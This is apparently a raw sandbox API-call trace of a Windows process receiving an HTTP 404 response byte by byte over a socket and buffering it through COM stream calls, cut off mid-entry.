[0086.132] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.132] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.132] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.133] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x20, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.133] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.133] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.133] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.133] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x57, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.133] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.133] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.133] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.133] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x65, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.133] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.133] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.133] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.133] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x64, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.133] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.133] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.133] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.134] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x2c, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.134] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.134] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.134] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.134] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x20, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.134] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.134] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.134] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.134] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x31, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.134] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.134] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.134] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.134] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x31, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.134] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.134] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.134] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.135] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x20, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.135] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.135] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.135] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.135] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x41, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.135] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.135] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.135] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.135] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x70, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.135] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.135] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.135] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.135] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x72, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.135] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.135] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.135] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.136] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x20, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.136] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.136] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.136] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.136] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x32, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.136] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.136] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.136] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.136] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x30, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.136] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.136] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.136] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.136] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x31, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.136] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.136] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.136] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.137] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x38, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.137] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.137] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.137] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.137] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x20, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.137] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.137] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.137] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.137] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x30, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.137] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.137] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.137] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.137] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x39, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.137] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.137] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.137] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.138] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x3a, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.138] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.138] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.138] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.138] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x32, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.138] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.138] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.138] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.138] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x34, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.138] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.138] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.138] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.138] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x3a, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.138] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.138] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.139] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.139] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x31, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.139] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.139] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.139] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.139] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x38, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.139] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.139] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.139] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.139] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x20, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.139] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.139] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.139] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.139] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x47, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.140] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.140] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.140] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.140] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x4d, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.140] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.140] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.140] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.140] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x54, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.140] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.140] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.140] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.140] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0xd, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.140] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.140] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.140] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.140] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0xa, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.141] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.141] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.141] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.141] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x48, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.141] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x1, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.141] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x54, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.141] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x2, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.141] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x54, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.141] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x3, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.141] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x50, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.141] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x4, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.141] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x2f, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.141] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x5, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.141] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x31, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.141] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x6, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.141] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x2e, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.141] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x7, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.141] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x31, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.141] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x8, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.141] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x20, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.141] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x9, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.141] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x34, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.141] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0xa, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.142] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x30, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.142] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0xb, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.142] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x34, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.142] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0xc, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.142] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x20, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.142] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0xd, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.142] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x4e, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.142] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0xe, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.142] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x6f, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.142] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0xf, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.142] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x74, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.142] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x10, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.142] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x20, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.142] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x11, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.142] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x46, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.142] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x12, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.142] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x6f, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.142] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x13, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.142] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x75, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.142] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x14, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.142] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x6e, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.142] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x15, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.142] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x64, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.142] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x16, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.142] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0xd, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.142] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x17, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.142] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0xa, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.143] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x18, dwOrigin=0x0, 